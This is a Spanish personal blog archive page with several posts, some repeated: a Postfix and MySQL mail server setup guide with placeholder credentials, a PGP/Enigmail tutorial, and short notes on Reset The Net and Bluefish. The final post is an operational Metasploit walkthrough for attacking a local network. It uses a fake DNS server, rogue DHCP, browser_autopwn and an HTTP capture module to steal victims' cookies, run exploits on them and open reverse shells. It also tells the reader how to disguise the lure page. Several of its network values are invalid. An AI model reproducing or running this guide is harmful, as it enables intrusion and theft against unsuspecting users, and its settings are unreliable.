user=mailCon esto concluye, de momento al menos, la configuración de Postfix. Para el siguiente post empezaremos con el servidor POP/IMAP.
password=mailPASS
dbname=maildb
table=domains
select_field=domain
where_field=domain
hosts=127.0.0.1
additional_conditions = and enabled = 1
Un saludo y para cualquier cosita, a comentar se ha dicho.
miércoles, 29 de octubre de 2014
Servidor Mail Seguro parte I
Puesto que hoy me he visto ante un kernel panic! mental creo que voy a redactar una entrada que hace tiempo tenía en mente. Hoy, gracias a la ayuda de flurdy.com voy a escribir (algunas partes traducir meramente) una extensa y detallada guía sobre cómo montar un servidor de correo seguro utilizando usuarios virtuales con Postfix como MTA, Courier como servidor IMAP, MySQL como base de datos, Amavisd-new como chequeador de contenido, SpamAssassin como escudo anti-spam, ClamAV como antivirus, Cyrus SASL como autenticador, PostGrey como pequeño script anti-spam, TLS como encriptación y SquirrelMail como cliente de webmail. ¿Completito no? Pues ahí que vamos:
Antes de nada, obvia decir que como todo en este blog, corre sobre sistemas Linux y esta guía más en concreto está pensada para funcionar sobre Ubuntu Server y testada en la versión 12.04.
MySQL:
Lo primero de todo será instalar y configurar la base de datos que nos permita guardar y facilite las consultas hacia los usuarios, sus direcciones mail en el servidor, así como sus datos de acceso, dominios virtuales, etc.
sudo apt-get install mysql-client mysql-serverEsto, tras autenticarnos con la contraseña de superusuario, instalará tanto el cliente como el servidor de MySQL. Ahora hemos de configurar un usuario que accederá a la base de datos para realizar las consultas. No es para nada recomendable que éste sea root por motivos de seguridad así que procederemos a crear un usuario con nombre "mail" y accesos restringidos a nuestras tablas. Luego crearemos la base de datos que contendrá lo necesario para los usuarios virtuales. Toma nota del nombre de usuario que agregues como mail así como de su contraseña. Para ejecutar éste código será necesaria la contraseña de root que se dió durante la instalación del servidor de MySQL.
# Si aún no lo hemos hecho (durante la instalación del paquete)... mysqladmin -u root -p password new_password # Nos loggeamos como root mysql -u root -p # Luego introducimos la contraseña de root cuando el prompt sea Enter password: # Ahora creamos la base de datos create database maildb; # Creamos un nuevo usuario: "mail" y le damos acceso y privilegios GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON maildb.* TO 'mail'@'localhost' IDENTIFIED by 'mailPASSWORD'; GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON maildb.* TO 'mail'@'%' IDENTIFIED by 'mailPASSWORD'; exit;Sobra decir que donde "mailPASSWORD" ha de ir vuestra contraseña. Lo siguiente será crear nuevas tablas. En esta guía usaremos éstas: - aliases - domain - users Nos logeamos con el nuevo usuario:
mysql -u mail -p maildb # Ingresamos la contraseña recién creadaY ejecutamos los siguientes comandos para crear las tablas.
CREATE TABLE `aliases` ( 'pkid' smallint(3) NOT NULL auto_increment, 'mail' varchar(120) NOT NULL default '', 'destination' varchar(120) NOT NULL default '', 'enabled' tinyint(1) NOT NULL default '1', PRIMARY KEY ('pkid'), UNIQUE KEY 'mail' ('mail') ) ;
CREATE TABLE `domains` ( `pkid` smallint(6) NOT NULL auto_increment, `domain` varchar(120) NOT NULL default '', `transport` varchar(120) NOT NULL default 'virtual:', `enabled` tinyint(1) NOT NULL default '1', PRIMARY KEY (`pkid`) ) ;
CREATE TABLE `users` ( `id` varchar(128) NOT NULL default '', `name` varchar(128) NOT NULL default '', `uid` smallint(5) unsigned NOT NULL default '5000', `gid` smallint(5) unsigned NOT NULL default '5000', `home` varchar(255) NOT NULL default '/var/spool/mail/virtual', `maildir` varchar(255) NOT NULL default 'blah/', `enabled` tinyint(1) NOT NULL default '1', `change_password` tinyint(1) NOT NULL default '1', `clear` varchar(128) NOT NULL default 'ChangeMe', `crypt` varchar(128) NOT NULL default 'sdtrusfX0Jj66', `quota` varchar(255) NOT NULL default '', PRIMARY KEY (`id`), UNIQUE KEY `id` (`id`) ) ;
# Para ver las tablas creadas: describe aliases; describe domains; describe users; # salimos de mysql exit;Lo siguiente, antes de terminar, por ahora, con MySQL, será hacer una pequeña comprobación. Creo que en las nuevas versiones del paquete viene por defecto, pero no está de más comprobarlo.
sudo nano /etc/mysql/my.cnfComprobaremos que existe una linea que enlace al localhost:
bind-address = 127.0.0.1Es muy recomendable para empezar habilitar temporalmente los logs de MySQL para un posible análisis en caso de que algo no marche bien. Esta medida es solo temporal y una vez todo esté funcionando se debe comentar para evitar una saturación en los logs del sistema.
general_log_file = /var/log/mysql/mysql.log general_log = 1Ahora rearrancamos MySQL:
sudo /etc/init.d/mysql restartComo todas las entradas de código que veais por la web me gustaría recalcar que es vital saber lo que se está haciendo con cada instrucción. Aquí dejo un enlace a "La Biblia de MySQL" Un libro bastante completo sobre el tema de la ed Anaya. Mañana me pongo con la configuración del agente de transporte de mail, Postfix. Un saludo!
jueves, 5 de junio de 2014
Reset The Net
Contra la vigilancia masiva en internet:
Reset The Net https://www.resetthenet.org/
Por cierto, estoy en proceso de mundanza. No he abandonado el proyecto de hacer mi web y ya he redirigido los DNS del dominio a mi servidor que me vale para las diversas pruebas que ando haciendo. Aún queda mucho por hacer para que el sitio esté operativo, lo mayor acabará siendo alquilar un hosting... Tiempo al tiempo.
Reset The Net https://www.resetthenet.org/
Por cierto, estoy en proceso de mundanza. No he abandonado el proyecto de hacer mi web y ya he redirigido los DNS del dominio a mi servidor que me vale para las diversas pruebas que ando haciendo. Aún queda mucho por hacer para que el sitio esté operativo, lo mayor acabará siendo alquilar un hosting... Tiempo al tiempo.
lunes, 18 de noviembre de 2013
Thunderbird y Enigmail. Mete en un sobre tus correos anda...
Quizá los de mi quinta no hemos llegado a conocer bien el uso de la carta escrita que con tanto acerbo guardan nuestros padres aquellas de cuando novios o de la mili. Mas de uno hemos de pensar dos veces para recordar a qué lado del sobre habíamos de marcar el remitente y cual se reservaba para la dirección de envio.
Bien cierto es que los correos electrónicos se han comido literalmente el correo ordinario, pero es sorprendente ver lo poco que a la mayoría les interesa la privacidad de éste, incluso en los momentos en que sabemos que mandamos información personal o delicada. Y es que antes metíamos un papel en un sobre que, aunque no fuera mucho, protegía nuestro mensaje de miradas indiscretas. Hoy, con unas alarmantes estadísticas que dicen que al menos 50 millones de equipos DOMÉSTICOS (esto es UNO de cada VEINTE) están infectados por algún tipo de virus o malware, según Kaspersky, y eso sin entrar en servidores privados, es mucho más que posible que un pequeño script de apenas 20 kb este haciendo un bypass a nuestro puerto SSL y rompiendo de esta forma el poco cifrado de los servidores de e-mail habituales. También habría que destacar las técnicas de phising (robo de identidad o identidad falsa) que pululan por la red, la exposición de nuestro correo en cada nodo responsable de su envío... comprometiendo más si cabe nuestra privacidad.
Sabiendo esto es ahora cuando debería entrar en juego la preocupación del usuario y, implantar medidas para asegurar su privacidad y, ya que hablamos de correo electrónico, quiero introducir al usuario preocupado, en el uso de claves PGP para cifrar y evitar el phising en nuestros correos.
PGP o Pretty Goo Privacy (Así como suena XD) es una medida de cifrado entre un emisor y un receptor de información basada en claves públicas y privadas. Cada uno ha de generar un par de claves, una de ellas será pública, destinada a compartir con quienes desean enviarle correo cifrado, y otra se usará para cifrar y descifrar lo recibido de manera privada. Intento explicarlo copiando un párrafo de un pequeño curso de criptografía asimétrica que se puede descargar aquí:
Si no lo tenemos ya, descargamos Thunderbird desde aquí: https://www.mozilla.org/es-ES/thunderbird/ y lo instalamos normalmente. Para descargar el complemento de enigmail, lo hacemos desde https://addons.mozilla.org/es/thunderbird/addon/enigmail/ y, desde Thunderbird, con su menú de la derecha, nos vamos a complementos. Desde allí, con otro menú a la derecha de la barra de búsqueda elegimos instalar desde archivo y seleccionamos la descarga de el complemento. Reiniciamos Thunderbird y un intuitivo asistente nos preguntará si necesitamos ser guiados en la configuración de las claves y demás. Aceptamos y lo seguimos. Tras responder a unas preguntas y marcar nuestras preferencias, enigmail empezara a captar datos aleatorios generados por el sistema y nos recomendará usar nuestro navegador etc, para acelerar el proceso de creación de claves.
Ahora cuando enviemos correo a uno de nuestros contactos que nos ha proporcionado su clave pública, el correo se firmará automáticamente (si así lo hemos seleccionado en el asistente) y desde el menú desplegable de OpenPGP se nos dará también la opción de cifrarlo. Cuando recibamos correo cifrado de uno de nuestros contactos éste debería aparecer plenamente visible si hemos iniciado sesión con nuestra clave privada.
Bien cierto es que los correos electrónicos se han comido literalmente el correo ordinario, pero es sorprendente ver lo poco que a la mayoría les interesa la privacidad de éste, incluso en los momentos en que sabemos que mandamos información personal o delicada. Y es que antes metíamos un papel en un sobre que, aunque no fuera mucho, protegía nuestro mensaje de miradas indiscretas. Hoy, con unas alarmantes estadísticas que dicen que al menos 50 millones de equipos DOMÉSTICOS (esto es UNO de cada VEINTE) están infectados por algún tipo de virus o malware, según Kaspersky, y eso sin entrar en servidores privados, es mucho más que posible que un pequeño script de apenas 20 kb este haciendo un bypass a nuestro puerto SSL y rompiendo de esta forma el poco cifrado de los servidores de e-mail habituales. También habría que destacar las técnicas de phising (robo de identidad o identidad falsa) que pululan por la red, la exposición de nuestro correo en cada nodo responsable de su envío... comprometiendo más si cabe nuestra privacidad.
Sabiendo esto es ahora cuando debería entrar en juego la preocupación del usuario y, implantar medidas para asegurar su privacidad y, ya que hablamos de correo electrónico, quiero introducir al usuario preocupado, en el uso de claves PGP para cifrar y evitar el phising en nuestros correos.
PGP o Pretty Goo Privacy (Así como suena XD) es una medida de cifrado entre un emisor y un receptor de información basada en claves públicas y privadas. Cada uno ha de generar un par de claves, una de ellas será pública, destinada a compartir con quienes desean enviarle correo cifrado, y otra se usará para cifrar y descifrar lo recibido de manera privada. Intento explicarlo copiando un párrafo de un pequeño curso de criptografía asimétrica que se puede descargar aquí:
"Entonces, Agustín y Bernardo, deciden utilizar criptografía asimétrica.Una vez entendido esto, vamos a aplicarlo utilizando Mozilla Thunderbird como gestor de correo (que, al menos, todavía no se sabe que deje acceso a la NSA para fisgar nuestros correos por contrato como cierto programa de cuyo nombre...) y el complemento Enigmail que, de forma gráfica y sencilla nos permitirá cifrar nuestro correo y administrar las claves públicas de nuestros contactos.
Agustín y Bernardo crean cada uno un par de claves Pública y Privada. Vamos a llamarlas E(A), E(B), D(A) y D(B), siendo E(A) la clave pública de Agustín, E(B) la clave pública de Bernardo, D(A) la clave privada de Agustín y D(B) la clave privada de Bernardo.
1) Agustín le envía a Bernardo E(A) y Bernardo le envía a Agustín E(B).
2) Agustín cifra con E(B) los datos que le quiere mandar a Bernardo y Bernardo cifra con E(A) los datos que le quiere mandar a Agustín.
3) Agustín descifra con D(A) los datos que recibió de Bernardo y Bernardo descifra con D(B) los datos que recibió de Agustín.
4) Eva, lo único que puede ver en el canal, son las dos claves públicas y los datos cifrados, entonces, esta no va a poder ver los datos que Agustín y Bernardo comparten.
Canal seguro: OK!!"
Si no lo tenemos ya, descargamos Thunderbird desde aquí: https://www.mozilla.org/es-ES/thunderbird/ y lo instalamos normalmente. Para descargar el complemento de enigmail, lo hacemos desde https://addons.mozilla.org/es/thunderbird/addon/enigmail/ y, desde Thunderbird, con su menú de la derecha, nos vamos a complementos. Desde allí, con otro menú a la derecha de la barra de búsqueda elegimos instalar desde archivo y seleccionamos la descarga de el complemento. Reiniciamos Thunderbird y un intuitivo asistente nos preguntará si necesitamos ser guiados en la configuración de las claves y demás. Aceptamos y lo seguimos. Tras responder a unas preguntas y marcar nuestras preferencias, enigmail empezara a captar datos aleatorios generados por el sistema y nos recomendará usar nuestro navegador etc, para acelerar el proceso de creación de claves.
Ahora cuando enviemos correo a uno de nuestros contactos que nos ha proporcionado su clave pública, el correo se firmará automáticamente (si así lo hemos seleccionado en el asistente) y desde el menú desplegable de OpenPGP se nos dará también la opción de cifrarlo. Cuando recibamos correo cifrado de uno de nuestros contactos éste debería aparecer plenamente visible si hemos iniciado sesión con nuestra clave privada.
Por hoy es todo, ahora toca aplicar estas medidas poco a poco con tus contactos. Es mejor insistir en el uso de estas técnicas que lamentar no haberlas implementado y visto lo visto, cualquier precaución es poca.
¡Salud!
martes, 15 de octubre de 2013
BlueFish. Diseñando webs en Linux
El caso es que me he agenciado un dominio y viendo que ando un poco verde con esto del diseño web, he decidido ponerme manos a la obra (o mejor ojos al manual) e hincar los codos antes de dar el paso de alquilar un hosting decente. Pese a disponer de un completo libro de diseño en Adobe Dreamweaver, (regalo de cumpleaños con muy buenas intenciones y poco uso previsto) mi moral anti windows me lleva a darme de cabeza con el poco respaldo que he visto al único programa GNU con este fin.
Bluefish se puede encontrar en los repositorios oficiales de Ubuntu y Debian y para instalarlo solo es necesario un simple sudo apt-get install bluefish desde la consola o bien buscarlo en el centro de software.
Como dicen en su página web http://bluefish.openoffice.nl/index.html y viéndolo un poco por encima:
"Bluefish is a powerful editor targeted towards programmers and webdevelopers, with many options to write websites, scripts and programming code. Bluefish supports many programming and markup languages."
Y si que parece soportar lenguajes, C, cfml, ColdFussion, Gettext po, HTML, Java, Pascal, Perl, Python, PHP, XML y alguno más que me dejaré por ahi. No obstante aún no se utilizarlo y lo único que he encontrado ha sido la guía que está disponible en su web, por supuesto, en inglés.
Si alguno de los que pasarais por aquí consigue encontrar algo decente que me haga no tener que descifrar y empollarme un divertido y entretenido ladrillo en el bendito idioma sajón, le estaré eternamente agradecido ;)
En cuanto al estado de la página y sus pocas actualizaciones... Pues eso, dame tiempo que estoy intentando montar algo que vaya más allá que un simple blog y, por suerte o por desgracia, lo que me vuelve a sobrar ahora es tiempo.
¡Salud y hasta otra!
Bluefish se puede encontrar en los repositorios oficiales de Ubuntu y Debian y para instalarlo solo es necesario un simple sudo apt-get install bluefish desde la consola o bien buscarlo en el centro de software.
Como dicen en su página web http://bluefish.openoffice.nl/index.html y viéndolo un poco por encima:
"Bluefish is a powerful editor targeted towards programmers and webdevelopers, with many options to write websites, scripts and programming code. Bluefish supports many programming and markup languages."
Y si que parece soportar lenguajes, C, cfml, ColdFussion, Gettext po, HTML, Java, Pascal, Perl, Python, PHP, XML y alguno más que me dejaré por ahi. No obstante aún no se utilizarlo y lo único que he encontrado ha sido la guía que está disponible en su web, por supuesto, en inglés.
Si alguno de los que pasarais por aquí consigue encontrar algo decente que me haga no tener que descifrar y empollarme un divertido y entretenido ladrillo en el bendito idioma sajón, le estaré eternamente agradecido ;)
En cuanto al estado de la página y sus pocas actualizaciones... Pues eso, dame tiempo que estoy intentando montar algo que vaya más allá que un simple blog y, por suerte o por desgracia, lo que me vuelve a sobrar ahora es tiempo.
¡Salud y hasta otra!
sábado, 8 de junio de 2013
Browser autopwn & fake DNS & DHCP spoofing con Metasploit
##Se ve que google no quiere que suba las capturas de pantalla que tenía pensadas. Cuando me deje edito y las planto en el texto.
Continuando con Metasploit, hoy voy a contar como realizar un ataque efectivo dentro de un entorno de red local. Para ello conseguiremos redirigir a las víctimas a nuestro servidor apache previamente infectado con una carga de exploits, que se ejecutarán en nuestro objetivo u objetivos. Para lograrlo cargaremos desde metasploit un servidor DHCP que se encargará de dar las direcciones IP falseando la ruta del DNS a nuestro servidor. También usaremos metasploit para montar el DNS envenenado que redirigirá las solicitudes a nuestro apache.
Primero, y para estar seguros de que contamos con los últimos exploits públicos y añadidos a Metasploit, actualizamos la aplicación desde la terminal:
sudo msfupdate
Cuando se descarguen e instalen las actualizaciones, si las hay, entramos en la consola de msf:
sudo msfconsole
Ahora procedemos a crear el DNS falso entrando al módulo propio de metasploit con:
use auxiliary/server/fakedns
Ahora teclearemos en comando info para ver las opciones del módulo. En principio, no cambiaremos nada salvo TARGETHOST (set TARGETHOST) dejando éstas opciones:
SRVHOST - 0.0.0.0 #Esto nos indica el servidor sobre el que funcionará el módulo DNS
SRVPORT - 53 #Valor del puerto en el que escuchará el demonio
TARGETACTION - bypass #Aquí se concreta el método de actuación del demonio. Este puede ser bypass, para dar una ruta válida a la dirección escrita en TARGETDOMAIN, o fake para la acción contraria (resolver solamente las aparecidas en TARGETDOMAIN)
TARGETDOMAIN - google.com #Rutas para resolver (o no) según el valor de TARGETACTION
TARGETHOST - 192.168.1.87 # Esta es la dirección de nuestra máquina en la que activaremos el servidor apache envenenado, la vuestra probablemente sea otra.
Con todo esto configurado solo nos queda dar la orden de run para que se inicie el demonio.
Una vez activado el DNS entraremos en el módulo del DHCP que, si todo va bien, será mas rápido que el propio router y falseará la tabla de direcciones dando como DNS nuestro demonio envenenado.
use auxiliary/server/dhcp
info
Usando el comando set dejaremos las opciones de la siguiente forma:
DHCPIPEND - 192.168.1.350 #Esta variable no es absolutamente necesaria no obstante nos marcará con facilidad que máquinas están envenenadas y cuales siguen siendo legítimas.
DHCPIPSTART - 192.168.300 #Con esto definimos el rango de IPs que empezará a dar nuestro demonio.
DNSSERVER - 192.168.1.87 #La dirección de nuestro servidor en el que escucha el DNS falso
NETMASK - 255.255.255.1 # Aquí indicamos el valor de la máscara de nuestra subred.
ROUTER - 192.168.1.1 #La dirección de salida de las peticiones resueltas.
SRVHOST - 192.168.1.87 #Dirección del host sobre el que trabajará el demonio DHCP
Con esto configurado solo nos queda dar la orden de ejecución run y pasar a configurar el módulo browser autopwn.
use auxiliary/server/browser_autopwn
info
Con el comando set de nuevo, cambiamos tres valores:
LHOST - 192.168.1.87 #La dirección local para configurar los payloads de cada exploit.
SRVPORT - 8080 #Puerto de escucha del módulo, que sea distinto al 80 ya que este lo ocuparemos en el siguiente paso.
URIPATH - / #La Ubicación de los exploits dentro del demonio de apache que creará el módulo.
Mandamos la activación con un run y nuestra terminal se empezará a llenar de lineas que nos indican los exploits activados escondidos en nuestro servidor http. Hay muchos que cargar y le costará un rato.
El último paso requiere llamar a un módulo que se encargará de escuchar en el puerto 80 de nuestra máquina, capturando las cookies de la víctima a base de falsear autenticaciones de ciertas páginas web (definidas en /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/) y redirigir la solicitud a los distintos exploits que cargamos con browser autoPWN. Llamamos al módulo
use auxiliary/server/capture/http
info
Con la orden set definimos las valores:
AUTOPWN_HOST - 192.168.1.87 #La dirección IP en la que corre browser autoPWN
AUTOPWN_PORT - 8080 #Puerto
AUTOPWN_URI - / #La dirección dentro del servidor http.
Activamos el módulo con un run y tenemos nuestra trampa preparada y aguardando nuevas víctimas.
Como cualquier ataque que falsea el DHCP en una red local, la metodología es la siguiente. Tarde o temprano un nuevo cliente se autenticará en la red y, salvo que tenga normas de no solicitar una dirección IP al servidor DHCP legítimo (es decir, el del router u otra máquina de la red) mandará una solicitud ARP a la dirección de broadcast preguntando dónde está el servidor DHCP. Lo normal sería que solo una máquina contestase a ésta petición y comenzase una negociación cliente-servidor. Pero cuando hay dos servidores DHCP ante una petición, el cliente negociará siempre con el que menos tiempo tarde en contestar. Así pues se inicia una carrera entre el servidor legítimo y nuestro DHCP spoofeado. Normalmente, cuando competimos con uno alojado en un router, gracias a la sencillez del módulo de Metasploit y a que, en la mayoría de los casos, nuestro procesador estará menos atareado y será mas eficiente, seremos nosotros quienes contestemos primero a la solicitud.
El módulo DHCP falseado otorgará una dirección IP, una máscara de red y una puerta de enlace tan legítimas y válidas como las que hubiera podido dar el servidor real. Lo que cambiamos es la dirección DNS (Domain Name Resolution, que como bien sabéis se encarga de "traducir" las direcciones tipo google.com, ebay.es... que por si solas no significan nada a la hora de enrutar los paquetes de datos, por direcciones IPv4 o IPv6 legibles y necesarias para la capa de red, según el modelo OSI.) por la dirección de nuestra máquina.
¿Qué conseguimos con esto? Pues podemos dar direcciones IP falsas para el nombre que nos pide el cliente, haciendo, por ejemplo, que si una víctima, teclea en su navegador http://www.cristianos.es para acceder a su foro favorito a despotricar sobre la clonación de embriones humanos con fines médicos y defender las teorías de creacionismo y el sexo con fines de procreación, nuestro DNS envenenado le diga que la IP que está buscando es, por ejemplo, esta: 64.88.241.153
Pero nosotros como atacantes no nos quedamos ahi. Nuestra intención es redirigir a la víctima para que entre a nuestro servidor web así que las direcciones falseadas darán nuestra IP en la red local.
¿Qué pasa si entran? Pues que hemos cargado un buen puñado de exploits dentro de nuestro host esperando que nuestra incauta víctima sea redirigida hacia ellos gracias a nuestro programilla de captura http que está corriendo en el puerto 80. Cuando alguien entra en nuestra página web, se encuentra con esto mientras los exploits se van ejecutando en su sistema.
Que si bien no es muy agradable ni inspira mucha confianza, podemos afilar nuestras armas editando el fichero html /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/index.html para dar la impresión de un error o un mensaje de espera que no haga sospechar a la víctima.
Si el ataque tiene éxito, es decir, si alguno de los exploits consigue vulnerar el sistema y ejecutar su payload, se creará una conexión víctima-atacante (reverse TCP)que podremos vislumbrar con el comando:
sessions
desde la consola de metasploit.
Todo es cuestión de tender nuestro cepo y esperar. Requiere, como casi todo en el mundo de la informática, paciencia. Mucha paciencia.
¡Saludos y hasta otra!
Continuando con Metasploit, hoy voy a contar como realizar un ataque efectivo dentro de un entorno de red local. Para ello conseguiremos redirigir a las víctimas a nuestro servidor apache previamente infectado con una carga de exploits, que se ejecutarán en nuestro objetivo u objetivos. Para lograrlo cargaremos desde metasploit un servidor DHCP que se encargará de dar las direcciones IP falseando la ruta del DNS a nuestro servidor. También usaremos metasploit para montar el DNS envenenado que redirigirá las solicitudes a nuestro apache.
Primero, y para estar seguros de que contamos con los últimos exploits públicos y añadidos a Metasploit, actualizamos la aplicación desde la terminal:
sudo msfupdate
Cuando se descarguen e instalen las actualizaciones, si las hay, entramos en la consola de msf:
sudo msfconsole
Ahora procedemos a crear el DNS falso entrando al módulo propio de metasploit con:
use auxiliary/server/fakedns
Ahora teclearemos en comando info para ver las opciones del módulo. En principio, no cambiaremos nada salvo TARGETHOST (set TARGETHOST) dejando éstas opciones:
SRVHOST - 0.0.0.0 #Esto nos indica el servidor sobre el que funcionará el módulo DNS
SRVPORT - 53 #Valor del puerto en el que escuchará el demonio
TARGETACTION - bypass #Aquí se concreta el método de actuación del demonio. Este puede ser bypass, para dar una ruta válida a la dirección escrita en TARGETDOMAIN, o fake para la acción contraria (resolver solamente las aparecidas en TARGETDOMAIN)
TARGETDOMAIN - google.com #Rutas para resolver (o no) según el valor de TARGETACTION
TARGETHOST - 192.168.1.87 # Esta es la dirección de nuestra máquina en la que activaremos el servidor apache envenenado, la vuestra probablemente sea otra.
Con todo esto configurado solo nos queda dar la orden de run para que se inicie el demonio.
Una vez activado el DNS entraremos en el módulo del DHCP que, si todo va bien, será mas rápido que el propio router y falseará la tabla de direcciones dando como DNS nuestro demonio envenenado.
use auxiliary/server/dhcp
info
Usando el comando set dejaremos las opciones de la siguiente forma:
DHCPIPEND - 192.168.1.350 #Esta variable no es absolutamente necesaria no obstante nos marcará con facilidad que máquinas están envenenadas y cuales siguen siendo legítimas.
DHCPIPSTART - 192.168.300 #Con esto definimos el rango de IPs que empezará a dar nuestro demonio.
DNSSERVER - 192.168.1.87 #La dirección de nuestro servidor en el que escucha el DNS falso
NETMASK - 255.255.255.1 # Aquí indicamos el valor de la máscara de nuestra subred.
ROUTER - 192.168.1.1 #La dirección de salida de las peticiones resueltas.
SRVHOST - 192.168.1.87 #Dirección del host sobre el que trabajará el demonio DHCP
Con esto configurado solo nos queda dar la orden de ejecución run y pasar a configurar el módulo browser autopwn.
use auxiliary/server/browser_autopwn
info
Con el comando set de nuevo, cambiamos tres valores:
LHOST - 192.168.1.87 #La dirección local para configurar los payloads de cada exploit.
SRVPORT - 8080 #Puerto de escucha del módulo, que sea distinto al 80 ya que este lo ocuparemos en el siguiente paso.
URIPATH - / #La Ubicación de los exploits dentro del demonio de apache que creará el módulo.
Mandamos la activación con un run y nuestra terminal se empezará a llenar de lineas que nos indican los exploits activados escondidos en nuestro servidor http. Hay muchos que cargar y le costará un rato.
El último paso requiere llamar a un módulo que se encargará de escuchar en el puerto 80 de nuestra máquina, capturando las cookies de la víctima a base de falsear autenticaciones de ciertas páginas web (definidas en /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/) y redirigir la solicitud a los distintos exploits que cargamos con browser autoPWN. Llamamos al módulo
use auxiliary/server/capture/http
info
Con la orden set definimos las valores:
AUTOPWN_HOST - 192.168.1.87 #La dirección IP en la que corre browser autoPWN
AUTOPWN_PORT - 8080 #Puerto
AUTOPWN_URI - / #La dirección dentro del servidor http.
Activamos el módulo con un run y tenemos nuestra trampa preparada y aguardando nuevas víctimas.
Como cualquier ataque que falsea el DHCP en una red local, la metodología es la siguiente. Tarde o temprano un nuevo cliente se autenticará en la red y, salvo que tenga normas de no solicitar una dirección IP al servidor DHCP legítimo (es decir, el del router u otra máquina de la red) mandará una solicitud ARP a la dirección de broadcast preguntando dónde está el servidor DHCP. Lo normal sería que solo una máquina contestase a ésta petición y comenzase una negociación cliente-servidor. Pero cuando hay dos servidores DHCP ante una petición, el cliente negociará siempre con el que menos tiempo tarde en contestar. Así pues se inicia una carrera entre el servidor legítimo y nuestro DHCP spoofeado. Normalmente, cuando competimos con uno alojado en un router, gracias a la sencillez del módulo de Metasploit y a que, en la mayoría de los casos, nuestro procesador estará menos atareado y será mas eficiente, seremos nosotros quienes contestemos primero a la solicitud.
El módulo DHCP falseado otorgará una dirección IP, una máscara de red y una puerta de enlace tan legítimas y válidas como las que hubiera podido dar el servidor real. Lo que cambiamos es la dirección DNS (Domain Name Resolution, que como bien sabéis se encarga de "traducir" las direcciones tipo google.com, ebay.es... que por si solas no significan nada a la hora de enrutar los paquetes de datos, por direcciones IPv4 o IPv6 legibles y necesarias para la capa de red, según el modelo OSI.) por la dirección de nuestra máquina.
¿Qué conseguimos con esto? Pues podemos dar direcciones IP falsas para el nombre que nos pide el cliente, haciendo, por ejemplo, que si una víctima, teclea en su navegador http://www.cristianos.es para acceder a su foro favorito a despotricar sobre la clonación de embriones humanos con fines médicos y defender las teorías de creacionismo y el sexo con fines de procreación, nuestro DNS envenenado le diga que la IP que está buscando es, por ejemplo, esta: 64.88.241.153
Pero nosotros como atacantes no nos quedamos ahi. Nuestra intención es redirigir a la víctima para que entre a nuestro servidor web así que las direcciones falseadas darán nuestra IP en la red local.
¿Qué pasa si entran? Pues que hemos cargado un buen puñado de exploits dentro de nuestro host esperando que nuestra incauta víctima sea redirigida hacia ellos gracias a nuestro programilla de captura http que está corriendo en el puerto 80. Cuando alguien entra en nuestra página web, se encuentra con esto mientras los exploits se van ejecutando en su sistema.
Que si bien no es muy agradable ni inspira mucha confianza, podemos afilar nuestras armas editando el fichero html /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/index.html para dar la impresión de un error o un mensaje de espera que no haga sospechar a la víctima.
Si el ataque tiene éxito, es decir, si alguno de los exploits consigue vulnerar el sistema y ejecutar su payload, se creará una conexión víctima-atacante (reverse TCP)que podremos vislumbrar con el comando:
sessions
desde la consola de metasploit.
Todo es cuestión de tender nuestro cepo y esperar. Requiere, como casi todo en el mundo de la informática, paciencia. Mucha paciencia.
¡Saludos y hasta otra!
Suscribirse a:
Entradas (Atom)





